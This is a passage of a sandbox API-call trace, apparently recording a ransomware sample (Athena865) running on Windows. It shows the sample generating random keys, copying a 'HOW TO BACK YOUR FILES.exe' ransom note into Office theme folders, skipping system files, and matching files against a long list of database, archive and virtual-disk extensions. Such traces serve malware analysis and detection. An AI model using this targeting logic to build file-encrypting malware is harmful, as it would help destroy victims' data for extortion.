dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.081] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.081] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.081] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16080, lpName=0x0) returned 0x17c [0066.083] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16080) returned 0x100000 [0066.086] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.087] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.087] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.089] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2=".") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="..") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="windows") returned -1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="bootmgr") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="temp") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="pagefile.sys") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="boot") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="ids.txt") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="ntuser.dat") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="perflogs") returned 1 [0066.089] lstrcmpiW (lpString1="Theme Colors", lpString2="MSBuild") returned 1 [0066.089] lstrlenW (lpString="Theme Colors") returned 12 [0066.089] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Theme Colors" | out: lpString1="Theme Colors") returned="Theme Colors" [0066.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f730 [0066.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x514098 [0066.089] lstrcatW (in: lpString1="Theme Colors", lpString2="\\" | out: lpString1="Theme Colors\\") returned="Theme Colors\\" [0066.089] lstrcatW (in: lpString1="Theme Colors\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Theme Colors\\HOW TO BACK YOUR FILES.exe") returned="Theme Colors\\HOW TO BACK YOUR FILES.exe" [0066.089] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.094] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2=".") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="..") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="windows") returned -1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="bootmgr") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="temp") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="pagefile.sys") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="boot") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="ids.txt") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="ntuser.dat") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="perflogs") returned 1 [0066.094] lstrcmpiW (lpString1="Theme Effects", lpString2="MSBuild") returned 1 [0066.094] lstrlenW (lpString="Theme Effects") returned 13 [0066.094] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Theme Effects" | out: lpString1="Theme Effects") returned="Theme Effects" [0066.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f718 [0066.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x514128 [0066.094] lstrcatW (in: lpString1="Theme Effects", lpString2="\\" | out: lpString1="Theme Effects\\") returned="Theme Effects\\" [0066.094] lstrcatW (in: lpString1="Theme Effects\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Theme Effects\\HOW TO BACK YOUR FILES.exe") returned="Theme Effects\\HOW TO BACK YOUR FILES.exe" [0066.094] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.097] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0066.097] lstrcmpiW (lpString1="Theme Fonts", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.097] lstrcmpiW (lpString1="Theme Fonts", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2=".") returned 1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2="..") returned 1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2="windows") returned -1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2="bootmgr") returned 1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2="temp") returned 1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2="pagefile.sys") returned 1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2="boot") returned 1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2="ids.txt") returned 1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2="ntuser.dat") returned 1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2="perflogs") returned 1 [0066.098] lstrcmpiW (lpString1="Theme Fonts", lpString2="MSBuild") returned 1 [0066.098] lstrlenW (lpString="Theme Fonts") returned 11 [0066.098] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Theme Fonts" | out: lpString1="Theme Fonts") returned="Theme Fonts" [0066.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf18 [0066.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x5141b8 [0066.098] lstrcatW (in: lpString1="Theme Fonts", lpString2="\\" | out: lpString1="Theme Fonts\\") returned="Theme Fonts\\" [0066.098] lstrcatW (in: lpString1="Theme Fonts\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Theme Fonts\\HOW TO BACK YOUR FILES.exe") returned="Theme Fonts\\HOW TO BACK YOUR FILES.exe" [0066.098] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.103] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2=".") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="..") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="windows") returned -1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="bootmgr") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="temp") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="pagefile.sys") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="boot") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="ids.txt") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="ntuser.dat") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="perflogs") returned 1 [0066.103] lstrcmpiW (lpString1="Trek.thmx", lpString2="MSBuild") returned 1 [0066.103] lstrlenW (lpString="Trek.thmx") returned 9 [0066.104] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Trek.thmx" | out: lpString1="Trek.thmx") returned="Trek.thmx" [0066.104] lstrlenW (lpString="Trek.thmx") returned 9 [0066.104] lstrlenW (lpString="Athena865") returned 9 [0066.104] lstrlenW (lpString=".dll") returned 4 [0066.104] lstrcmpiW (lpString1="Trek.thmx", lpString2=".dll") returned 1 [0066.104] lstrlenW (lpString=".lnk") returned 4 [0066.104] lstrcmpiW (lpString1="Trek.thmx", lpString2=".lnk") returned 1 [0066.104] lstrlenW (lpString=".ini") returned 4 [0066.104] lstrcmpiW (lpString1="Trek.thmx", lpString2=".ini") returned 1 [0066.104] lstrlenW (lpString=".sys") returned 4 [0066.104] lstrcmpiW (lpString1="Trek.thmx", lpString2=".sys") returned 1 [0066.104] lstrlenW (lpString="Trek.thmx") returned 9 [0066.104] lstrlenW (lpString="bak") returned 3 [0066.104] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0066.104] lstrlenW (lpString="ba_") returned 3 [0066.104] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0066.104] lstrlenW (lpString="dbb") returned 3 [0066.104] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0066.104] lstrlenW (lpString="vmdk") returned 4 [0066.104] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0066.104] lstrlenW (lpString="rar") returned 3 [0066.104] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0066.104] lstrlenW (lpString="zip") returned 3 [0066.104] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0066.104] lstrlenW (lpString="tgz") returned 3 [0066.104] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0066.104] lstrlenW (lpString="vbox") returned 4 [0066.104] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0066.104] lstrlenW (lpString="vdi") returned 3 [0066.104] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0066.104] lstrlenW (lpString="vhd") returned 3 [0066.104] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0066.104] lstrlenW (lpString="vhdx") returned 4 [0066.104] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0066.105] lstrlenW (lpString="avhd") returned 4 [0066.105] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0066.105] lstrlenW (lpString="db") returned 2 [0066.105] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0066.105] lstrlenW (lpString="db2") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0066.105] lstrlenW (lpString="db3") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0066.105] lstrlenW (lpString="dbf") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0066.105] lstrlenW (lpString="mdf") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0066.105] lstrlenW (lpString="mdb") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0066.105] lstrlenW (lpString="sql") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0066.105] lstrlenW (lpString="sqlite") returned 6 [0066.105] lstrcmpiW (lpString1="k.thmx", lpString2="sqlite") returned -1 [0066.105] lstrlenW (lpString="sqlite3") returned 7 [0066.105] lstrcmpiW (lpString1="ek.thmx", lpString2="sqlite3") returned -1 [0066.105] lstrlenW (lpString="sqlitedb") returned 8 [0066.105] lstrcmpiW (lpString1="rek.thmx", lpString2="sqlitedb") returned -1 [0066.105] lstrlenW (lpString="xml") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0066.105] lstrlenW (lpString="$er") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0066.105] lstrlenW (lpString="4dd") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0066.105] lstrlenW (lpString="4dl") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0066.105] lstrlenW (lpString="^^^") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0066.105] lstrlenW (lpString="abs") returned 3 [0066.105] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0066.106] lstrlenW (lpString="abx") returned 3 [0066.106] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0066.106] lstrlenW (lpString="accdb") returned 5 [0066.106] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0066.106] lstrlenW (lpString="accdc") returned 5 [0066.106] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0066.106] lstrlenW (lpString="accde") returned 5 [0066.106] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0066.106] lstrlenW (lpString="accdr") returned 5 [0066.106] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0066.106] lstrlenW (lpString="accdt") returned 5 [0066.106] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0066.106] lstrlenW (lpString="accdw") returned 5 [0066.106] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0066.106] lstrlenW (lpString="accft") returned 5 [0066.106] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0066.106] lstrlenW (lpString="adb") returned 3 [0066.106] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0066.106] lstrlenW (lpString="adb") returned 3 [0066.106] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0066.106] lstrlenW (lpString="ade") returned 3 [0066.106] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0066.106] lstrlenW (lpString="adf") returned 3 [0066.106] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0066.106] lstrlenW (lpString="adn") returned 3 [0066.106] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0066.106] lstrlenW (lpString="adp") returned 3 [0066.106] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0066.106] lstrlenW (lpString="alf") returned 3 [0066.106] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0066.106] lstrlenW (lpString="ask") returned 3 [0066.106] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0066.106] lstrlenW (lpString="btr") returned 3 [0066.106] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0066.107] lstrlenW (lpString="cat") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0066.107] lstrlenW (lpString="cdb") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0066.107] lstrlenW (lpString="ckp") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0066.107] lstrlenW (lpString="cma") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0066.107] lstrlenW (lpString="cpd") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0066.107] lstrlenW (lpString="dacpac") returned 6 [0066.107] lstrcmpiW (lpString1="k.thmx", lpString2="dacpac") returned 1 [0066.107] lstrlenW (lpString="dad") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0066.107] lstrlenW (lpString="dadiagrams") returned 10 [0066.107] lstrlenW (lpString="daschema") returned 8 [0066.107] lstrcmpiW (lpString1="rek.thmx", lpString2="daschema") returned 1 [0066.107] lstrlenW (lpString="db-journal") returned 10 [0066.107] lstrlenW (lpString="db-shm") returned 6 [0066.107] lstrcmpiW (lpString1="k.thmx", lpString2="db-shm") returned 1 [0066.107] lstrlenW (lpString="db-wal") returned 6 [0066.107] lstrcmpiW (lpString1="k.thmx", lpString2="db-wal") returned 1 [0066.107] lstrlenW (lpString="dbc") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0066.107] lstrlenW (lpString="dbs") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0066.107] lstrlenW (lpString="dbt") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0066.107] lstrlenW (lpString="dbv") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0066.107] lstrlenW (lpString="dbx") returned 3 [0066.107] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0066.108] lstrlenW (lpString="dcb") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0066.108] lstrlenW (lpString="dct") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0066.108] lstrlenW (lpString="dcx") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0066.108] lstrlenW (lpString="ddl") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0066.108] lstrlenW (lpString="dlis") returned 4 [0066.108] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0066.108] lstrlenW (lpString="dp1") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0066.108] lstrlenW (lpString="dqy") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0066.108] lstrlenW (lpString="dsk") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0066.108] lstrlenW (lpString="dsn") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0066.108] lstrlenW (lpString="dtsx") returned 4 [0066.108] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0066.108] lstrlenW (lpString="dxl") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0066.108] lstrlenW (lpString="eco") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0066.108] lstrlenW (lpString="ecx") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0066.108] lstrlenW (lpString="edb") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0066.108] lstrlenW (lpString="epim") returned 4 [0066.108] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0066.108] lstrlenW (lpString="fcd") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0066.108] lstrlenW (lpString="fdb") returned 3 [0066.108] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0066.108] lstrlenW (lpString="fic") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0066.109] lstrlenW (lpString="flexolibrary") returned 12 [0066.109] lstrlenW (lpString="fm5") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0066.109] lstrlenW (lpString="fmp") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0066.109] lstrlenW (lpString="fmp12") returned 5 [0066.109] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0066.109] lstrlenW (lpString="fmpsl") returned 5 [0066.109] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0066.109] lstrlenW (lpString="fol") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0066.109] lstrlenW (lpString="fp3") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0066.109] lstrlenW (lpString="fp4") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0066.109] lstrlenW (lpString="fp5") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0066.109] lstrlenW (lpString="fp7") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0066.109] lstrlenW (lpString="fpt") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0066.109] lstrlenW (lpString="frm") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0066.109] lstrlenW (lpString="gdb") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0066.109] lstrlenW (lpString="gdb") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0066.109] lstrlenW (lpString="grdb") returned 4 [0066.109] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0066.109] lstrlenW (lpString="gwi") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0066.109] lstrlenW (lpString="hdb") returned 3 [0066.109] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0066.110] lstrlenW (lpString="his") returned 3 [0066.110] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0066.110] lstrlenW (lpString="ib") returned 2 [0066.110] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0066.110] lstrlenW (lpString="idb") returned 3 [0066.110] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0066.110] lstrlenW (lpString="ihx") returned 3 [0066.110] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0066.110] lstrlenW (lpString="itdb") returned 4 [0066.110] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0066.110] lstrlenW (lpString="itw") returned 3 [0066.110] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0066.110] lstrlenW (lpString="jet") returned 3 [0066.110] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0066.110] lstrlenW (lpString="jtx") returned 3 [0066.110] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0066.110] lstrlenW (lpString="kdb") returned 3 [0066.110] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0066.110] lstrlenW (lpString="kexi") returned 4 [0066.110] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0066.110] lstrlenW (lpString="kexic") returned 5 [0066.110] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0066.110] lstrlenW (lpString="kexis") returned 5 [0066.110] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0066.110] lstrlenW (lpString="lgc") returned 3 [0066.110] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0066.110] lstrlenW (lpString="lwx") returned 3 [0066.110] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0066.110] lstrlenW (lpString="maf") returned 3 [0066.110] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0066.110] lstrlenW (lpString="maq") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0066.111] lstrlenW (lpString="mar") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0066.111] lstrlenW (lpString="marshal") returned 7 [0066.111] lstrcmpiW (lpString1="ek.thmx", lpString2="marshal") returned -1 [0066.111] lstrlenW (lpString="mas") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0066.111] lstrlenW (lpString="mav") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0066.111] lstrlenW (lpString="maw") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0066.111] lstrlenW (lpString="mdbhtml") returned 7 [0066.111] lstrcmpiW (lpString1="ek.thmx", lpString2="mdbhtml") returned -1 [0066.111] lstrlenW (lpString="mdn") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0066.111] lstrlenW (lpString="mdt") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0066.111] lstrlenW (lpString="mfd") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0066.111] lstrlenW (lpString="mpd") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0066.111] lstrlenW (lpString="mrg") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0066.111] lstrlenW (lpString="mud") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0066.111] lstrlenW (lpString="mwb") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0066.111] lstrlenW (lpString="myd") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0066.111] lstrlenW (lpString="ndf") returned 3 [0066.111] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0066.111] lstrlenW (lpString="nnt") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0066.112] lstrlenW (lpString="nrmlib") returned 6 [0066.112] lstrcmpiW (lpString1="k.thmx", lpString2="nrmlib") returned -1 [0066.112] lstrlenW (lpString="ns2") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0066.112] lstrlenW (lpString="ns3") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0066.112] lstrlenW (lpString="ns4") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0066.112] lstrlenW (lpString="nsf") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0066.112] lstrlenW (lpString="nv") returned 2 [0066.112] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0066.112] lstrlenW (lpString="nv2") returned 3 [0066.112] 